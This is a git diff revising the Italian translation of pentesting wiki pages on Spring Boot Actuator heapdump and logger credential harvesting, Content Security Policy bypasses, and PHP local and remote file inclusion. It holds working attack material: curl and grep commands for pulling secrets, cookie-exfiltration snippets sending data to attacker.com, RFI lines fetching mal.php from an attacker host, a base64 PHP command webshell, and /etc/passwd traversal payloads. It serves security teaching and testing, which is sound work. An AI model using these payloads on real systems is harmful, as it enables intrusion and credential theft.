Basic-Auth, URL di servizi interni, mappe di proprietà di Spring, ecc.). -- Download and quick triage: +- Download e triage rapido: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -74,7 +74,7 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- Deeper analysis with VisualVM and OQL: +- Analisi approfondita con VisualVM e OQL: - Apri heapdump in VisualVM, ispeziona le istanze di `java.lang.String` o esegui OQL per cercare segreti: ``` select s.toString() @@ -82,23 +82,23 @@ from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- Automated extraction with JDumpSpider: +- Estrazione automatizzata con JDumpSpider: ```bash java -jar JDumpSpider-*.jar heapdump ``` -Risultati tipici ad alto valore: +Tipici ritrovamenti ad alto valore: - Oggetti Spring `DataSourceProperties` / `HikariDataSource` che espongono `url`, `username`, `password`. -- Voci `OriginTrackedMapPropertySource` che rivelano `management.endpoints.web.exposure.include`, porte dei servizi e Basic-Auth incorporato negli URL (es., Eureka `defaultZone`). -- Frammenti HTTP in chiaro di richiesta/risposta che includono `Authorization: Basic ...` catturati in memoria. +- Voci `OriginTrackedMapPropertySource` che rivelano `management.endpoints.web.exposure.include`, porte dei servizi e Basic-Auth incorporato nelle URL (es., Eureka `defaultZone`). +- Frammenti HTTP plain di richieste/risposte contenenti `Authorization: Basic ...` catturati in memoria. -Tips: -- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli actuator endpoints (es., SecLists spring-boot.txt) e verifica sempre se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` sono anch'essi esposti. -- Le credenziali estratte dal heapdump spesso funzionano per servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso. +Consigli: +- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli endpoint actuator (es., SecLists spring-boot.txt) e controlla sempre se anche `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` sono esposti. +- Le credenziali estratte dall'heapdump spesso funzionano su servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso. ## Abusing Actuator loggers/logging to capture credentials -Se `management.endpoints.web.exposure.include` lo permette e `/actuator/loggers` è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e il processamento delle request. Combinato con log leggibili (via `/actuator/logfile` o percorsi di log noti), questo può rivelare credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form). +Se `management.endpoints.web.exposure.include` lo permette e `/actuator/loggers` è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e l'elaborazione delle richieste. Combinato con log leggibili (via `/actuator/logfile` o percorsi di log noti), questo può causare il leak di credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form). - Enumerate and crank up sensitive loggers: ```bash @@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Genera traffico di login/autenticazione e analizza il log per credenziali. In setup microservice con un gateway a frontare l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e corpi dei form. Alcuni ambienti generano persino traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il logging è verboso. +Genera traffico di login/autenticazione e analizza il log per trovare credenziali. In architetture a microservizi con un gateway che fronta l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e body dei form. Alcuni ambienti generano addirittura traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il livello di logging è elevato. Note: -- Ripristina i livelli di log quando hai finito: `POST /actuator/loggers/` con `{ "configuredLevel": null }`. -- Se `/actuator/httpexchanges` è esposto, può anche mostrare metadata di request recenti che potrebbero includere header sensibili. +- Reimposta i livelli di log quando hai finito: `POST /actuator/loggers/` con `{ "configuredLevel": null }`. +- Se `/actuator/httpexchanges` è esposto, può anche esporre metadata recenti delle richieste che possono includere header sensibili. -## References +## Riferimenti - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) - [VisualVM](https://visualvm.github.io/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index baa2141e0..3dc425225 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Che cos'è CSP +## Cos'è CSP -Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. +Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, mirata principalmente a **proteggere dagli attacchi come il cross-site scripting (XSS)**. Funziona definendo e specificando i percorsi e le origini da cui il browser può caricare in modo sicuro le risorse. Queste risorse comprendono vari elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice da stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`. -L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata. +L'implementazione di CSP avviene tramite **response headers** o incorporando **meta elements nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente qualsiasi violazione rilevata. -- Implementato tramite header di risposta: +- Implementato tramite response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Intestazioni -CSP può essere applicato o monitorato usando queste intestazioni: +CSP può essere applicata o monitorata usando queste intestazioni: - `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni. -- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione. +- `Content-Security-Policy-Report-Only`: Usata per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione. ### Definizione delle risorse -CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è: +CSP limita le origini da cui vengono caricati sia i contenuti attivi che passivi, controllando aspetti come l'esecuzione di inline JavaScript e l'uso di `eval()`. Un esempio di policy è: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### Direttive -- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da event handler o fogli di stile XSLT. -- **default-src**: Imposta una policy predefinita per il recupero delle risorse quando non sono presenti direttive di fetch specifiche. +- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT. +- **default-src**: Imposta una politica predefinita per il fetching delle risorse quando mancano direttive specifiche. - **child-src**: Specifica le risorse consentite per web worker e contenuti di frame incorporati. -- **connect-src**: Restringe le URL che possono essere caricate usando interfacce come fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Restringe le URL per i frame. -- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile a elementi come ``, ` // The bot will load an URL with the payload @@ -549,24 +546,24 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Tramite Bookmarklets -Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens. +Questo attacco implica una forma di social engineering in cui l'attaccante **convinces the user to drag and drop a link over the bookmarklet of the browser**. Questo bookmarklet conterrebbe **malicious javascript** code che quando drag\&dropped o cliccato verrebbe eseguito nel contesto della finestra web corrente, **bypassing CSP and allowing to steal sensitive information** come cookies o tokens. -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Per maggiori informazioni [**consulta il report originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass by restricting CSP +### CSP bypass restringendo la CSP -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**. +In [**questa CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP viene bypassata iniettando all'interno di un iframe consentito una CSP più restrittiva che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering**, permetteva di **abusare di un altro script per caricare uno script arbitrario**. -Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**: +Puoi **restringere la CSP di un Iframe** con l'attributo **`csp`**: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\ -La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **rendere più restrittiva** una **CSP** così che uno script che preveniva la **CSTI** venisse disabilitato e quindi la **vulnerability became exploitable.**\ +La CSP può essere resa più restrittiva usando **HTML meta tags**, e gli **inline scripts** possono essere disabilitati **rimuovendo** la **voce** che permette il loro **nonce** e **abilitare specifici inline script via sha**: ```html ``` -### JS exfiltration with Content-Security-Policy-Report-Only +### Esfiltrazione JS con Content-Security-Policy-Report-Only -Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il **JS content** che vuoi exfiltrate con **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Un attacker può abuse quell'endpoint per **generate a SOME attack** contro WordPress e **embed** questo dentro `` nota che questo **script** verrà **loaded** perché è **allowed by 'self'**. Inoltre, e poiché WordPress è installato, un attacker potrebbe abuse il **SOME attack** tramite il **vulnerable** **callback** endpoint che **bypasses the CSP** per dare più privilegi a un utente, installare un nuovo plugin...\ +Per maggiori informazioni su come eseguire questo attacco vedi [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## Bypass di esfiltrazione CSP +## CSP Exfiltration Bypasses -Se c'è una CSP rigorosa che non ti permette di **interact with external servers**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni. +If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location -Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete: +Potresti semplicemente aggiornare la location per inviare al server dell'attacker le informazioni segrete: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Puoi effettuare un redirect iniettando un meta tag (questo è solo un redirect, questo non farà leak del contenuto) +Puoi reindirizzare iniettando un meta tag (questo è solo un redirect, questo non farà leak di contenuto) ```html ``` ### DNS Prefetch -Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\ -Puoi indicare a un browser di risolvere preventivamente un hostname con: `` +Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host in indirizzi IP e li memorizzano nella cache per un uso successivo.\ +Puoi indicare a un browser di risolvere in anticipo un hostname con: `` -Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**: +Puoi abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -694,16 +693,16 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Per evitare che ciò accada, il server può inviare l'HTTP header: +Per evitare che ciò accada il server può inviare l'HTTP header: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Apparentemente, questa tecnica non funziona nei headless browsers (bots) +> A quanto pare, questa tecnica non funziona in headless browsers (bots) ### WebRTC -Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP. +Su diverse pagine puoi leggere che **WebRTC non verifica la policy `connect-src`** della CSP. In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice: ```javascript @@ -727,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost. +Il popup delle credenziali invia una richiesta DNS a iconURL senza essere vincolato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -738,12 +737,12 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Verifica delle policy CSP online +## Verifica online delle policy CSP - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Creazione automatica di CSP +## Creazione automatica delle policy CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 906769b41..d5bb3f763 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,10 +4,10 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\ **Local File Inclusion (LFI):** Il server carica un file locale. -La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server. +La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server. Funzioni **PHP** vulnerabili: require, require_once, include, include_once @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Combinando diverse liste \*nix LFI e aggiungendo altri percorsi ho creato questa:** +**Mescolando diverse liste LFI \*nix e aggiungendo altri percorsi ho creato questa:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Prova anche a sostituire `/` con `\`\ +Prova anche a cambiare `/` con `\`\ Prova anche ad aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Unione di diverse wordlists: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Prova anche a sostituire `/` con `\`\ +Prova anche a cambiare `/` con `\`\ Prova anche a rimuovere `C:/` e aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Controlla la lista LFI di linux. +Controlla la lista LFI di Linux. -## LFI di base e bypasses +## LFI di base e bypass Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### sequenze di traversal rimosse non ricorsivamente +### traversal sequences rimosse non ricorsivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -67,55 +67,55 @@ Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Questo è **risolto da PHP 5.4** +Questo è **risolto a partire da PHP 5.4** -### **Codifica** +### **Encoding** -Puoi usare codifiche non standard come double URL encode (e altri): +Puoi usare encodings non standard come double URL encode (e altri): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Dalla cartella esistente +### Da una cartella esistente -Forse il back-end sta controllando il percorso della cartella: +Forse il back-end sta verificando il percorso della cartella: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Esplorare le directory del file system su un server -Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e il controllo dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo: +Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per ottenere ciò: -1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente riuscendo a recuperare il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: +1. **Determine Directory Depth:** Determina la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sonda le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: +2. **Verifica le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste: +3. **Interpreta i risultati:** La risposta del server indica se la cartella esiste: - **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata. - **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata. -4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI). +4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI). -Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (supponendo che la directory corrente sia ad una profondità di 3), usa: +Per esplorare directory in posizioni diverse del file system, modifica di conseguenza il payload. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente si trovi a una profondità di 3), usa: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file protetti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato. +Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso file che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato. -In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del filesystem. Per esempio: +In PHP, varie rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutti trattati come lo stesso percorso. -- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendo `passwd/`) non cambia il file di destinazione. -- Allo stesso modo, se `.php` è aggiunto a un percorso (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede. +- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendolo `passwd/`) non cambia il file target. +- Analogamente, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede. -Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente): +Gli esempi forniti dimostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In questi scenari, il numero di traversal necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server. +In questi scenari, il numero di traversals necessari potrebbe essere attorno a 2027, ma questo valore può variare in base alla configurazione del server. -- **Usare Dot Segments e caratteri aggiuntivi**: Le traversal sequences (`../`) combinate con dot segments aggiuntivi e caratteri possono essere usate per navigare il file system, facendo in modo di ignorare le stringhe aggiunte dal server. -- **Determinare il numero di traversal richiesto**: Attraverso tentativi ed errori, si può trovare il numero preciso di `../` traversal necessari per arrivare alla directory root e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto. -- **Iniziare con una directory finta**: È prassi comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server. +- **Using Dot Segments and Additional Characters**: Sequenze di traversal (`../`) combinate con segmenti di punto aggiuntivi e caratteri possono essere usate per navigare il filesystem, ignorando efficacemente le stringhe aggiunte dal server. +- **Determining the Required Number of Traversals**: Attraverso tentativi ed errori, si può scoprire il numero preciso di sequenze `../` necessarie per arrivare alla directory root e poi a `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto. +- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server. -Quando si impiegano tecniche di path truncation, è fondamentale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace. +When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. -**Questa vulnerabilità è stata corretta in PHP 5.3.** +**This vulnerability was corrected in PHP 5.3.** -### **Trucchi per bypassare i filtri** +### **Filter bypass tricks** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -145,19 +145,19 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server ed ottenere RCE: +In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il protocollo data con base64 per decodificare un PHP codificato in b64 e ottenere RCE: +Se per qualche motivo **`allow_url_include`** è **attivo**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Nel codice precedente, il `+.txt` finale è stato aggiunto perché l attacker aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo dati inutili e il vero codice PHP sarà incluso (e quindi eseguito). -> -> Un altro esempio **che non usa il protocollo `php://`** sarebbe: +> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con quella parte e dopo la decodifica b64 quella parte ritornerà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito). + +Un altro esempio **che non usa il protocollo `php://`** sarebbe: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` @@ -173,17 +173,17 @@ Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso prec os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Questo è il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'operazione di join continua dal componente del percorso assoluto. +> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto. -## Java List Directories +## Java Elenco delle directory -Sembra che se hai una Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito un **listing della directory**. Questo non accade in altri linguaggi (per quanto ne so). +Sembra che se si ha un Path Traversal in Java e si **richiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non succede in altri linguaggi (afaik). -## Top 25 parameters +## Top 25 parametri -Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Ecco la lista dei 25 principali parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,30 +211,30 @@ Ecco la lista dei top 25 parameters che potrebbero essere vulnerabili a local fi ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando PHP wrappers & protocolli +## LFI / RFI using PHP wrappers & protocols ### php://filter -I filter PHP permettono di eseguire semplici **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: +I PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">") -- Nota che questo filtro è scomparso nelle versioni moderne di PHP +- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che sta tra i caratteri "<" e ">") +- Nota che questo filtro è scomparso dalle versioni moderne di PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` 